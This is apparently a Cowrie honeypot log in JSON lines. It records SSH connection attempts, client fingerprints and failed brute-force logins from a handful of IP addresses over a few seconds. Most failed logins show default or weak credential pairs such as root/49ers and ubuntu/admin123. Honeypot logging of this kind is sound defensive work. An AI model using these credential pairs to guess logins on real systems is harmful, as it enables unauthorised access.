{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:17.389735Z","src_ip":"91.92.40.36","session":"c1e97d4cbc4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1qaz2wsx","message":"login attempt [deployer/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:17.635713Z","src_ip":"45.153.34.195","session":"2b8e262ac77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:18.469357Z","src_ip":"91.92.40.36","session":"708f1bcfd50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:18.720619Z","src_ip":"45.153.34.195","session":"2b8e262ac77a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11600,"dst_ip":"10.17.0.5","dst_port":22,"session":"85c4b1d081de","protocol":"ssh","message":"New connection: 45.153.34.195:11600 (10.17.0.5:22) [session: 85c4b1d081de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:19.818254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:20.014388Z","src_ip":"45.153.34.195","session":"85c4b1d081de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:20.017671Z","src_ip":"45.153.34.195","session":"85c4b1d081de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:20.558695Z","src_ip":"45.153.34.195","session":"85c4b1d081de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:20.759938Z","src_ip":"91.92.40.36","session":"708f1bcfd50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:21.768223Z","src_ip":"45.153.34.195","session":"85c4b1d081de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37804,"dst_ip":"10.17.0.5","dst_port":22,"session":"f14c07df1711","protocol":"ssh","message":"New connection: 45.153.34.195:37804 (10.17.0.5:22) [session: f14c07df1711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:22.861293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:22.870681Z","src_ip":"45.153.34.195","session":"f14c07df1711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:22.959020Z","src_ip":"45.153.34.195","session":"f14c07df1711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:23.567142Z","src_ip":"91.92.40.36","session":"c1e97d4cbc4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix123","message":"login attempt [zabbix/zabbix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:23.606291Z","src_ip":"45.153.34.195","session":"f14c07df1711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:24.692569Z","src_ip":"45.153.34.195","session":"f14c07df1711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15458,"dst_ip":"10.17.0.5","dst_port":22,"session":"b575d6b85a05","protocol":"ssh","message":"New connection: 91.92.40.36:15458 (10.17.0.5:22) [session: b575d6b85a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:25.080821Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37816,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cb1b361eddf","protocol":"ssh","message":"New connection: 45.153.34.195:37816 (10.17.0.5:22) [session: 8cb1b361eddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:25.756598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:25.761512Z","src_ip":"45.153.34.195","session":"8cb1b361eddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:25.848493Z","src_ip":"45.153.34.195","session":"8cb1b361eddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:26.129055Z","src_ip":"45.153.34.195","session":"8cb1b361eddf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:26.148233Z","src_ip":"91.92.40.36","session":"b575d6b85a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:26.175185Z","src_ip":"91.92.40.36","session":"b575d6b85a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:26.281946Z","src_ip":"91.92.40.36","session":"c1e97d4cbc4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":59962,"dst_ip":"10.17.0.5","dst_port":22,"session":"be496632d0a9","protocol":"ssh","message":"New connection: 103.77.175.15:59962 (10.17.0.5:22) [session: be496632d0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:26.549078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:26.554318Z","src_ip":"103.77.175.15","session":"be496632d0a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:26.815714Z","src_ip":"103.77.175.15","session":"be496632d0a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:27.223721Z","src_ip":"45.153.34.195","session":"8cb1b361eddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"49ers","message":"login attempt [root/49ers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:27.605299Z","src_ip":"103.77.175.15","session":"be496632d0a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37818,"dst_ip":"10.17.0.5","dst_port":22,"session":"29d3a7bf7133","protocol":"ssh","message":"New connection: 45.153.34.195:37818 (10.17.0.5:22) [session: 29d3a7bf7133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:28.804674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:28.808973Z","src_ip":"45.153.34.195","session":"29d3a7bf7133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:28.872747Z","src_ip":"103.77.175.15","session":"be496632d0a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:28.887225Z","src_ip":"45.153.34.195","session":"29d3a7bf7133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25252525","message":"login attempt [root/25252525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:29.205412Z","src_ip":"45.153.34.195","session":"29d3a7bf7133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.383721113204956,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:29.791358Z","src_ip":"128.199.8.54","session":"261072bca379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:30.289771Z","src_ip":"45.153.34.195","session":"29d3a7bf7133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":37826,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae45c2b337e7","protocol":"ssh","message":"New connection: 45.153.34.195:37826 (10.17.0.5:22) [session: ae45c2b337e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:31.530535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:31.540125Z","src_ip":"45.153.34.195","session":"ae45c2b337e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:31.622801Z","src_ip":"45.153.34.195","session":"ae45c2b337e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:31.947719Z","src_ip":"45.153.34.195","session":"ae45c2b337e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root@123","message":"login attempt [user1/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:33.014280Z","src_ip":"91.92.40.36","session":"b575d6b85a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:33.030872Z","src_ip":"45.153.34.195","session":"ae45c2b337e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58414,"dst_ip":"10.17.0.5","dst_port":22,"session":"04719d31ff21","protocol":"ssh","message":"New connection: 91.92.40.36:58414 (10.17.0.5:22) [session: 04719d31ff21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:34.219645Z"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":33364,"dst_ip":"159.203.135.109","dst_port":22,"session":"63729171ee24","protocol":"ssh","message":"New connection: 97.74.87.152:33364 (159.203.135.109:22) [session: 63729171ee24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:34:34.377999Z"}
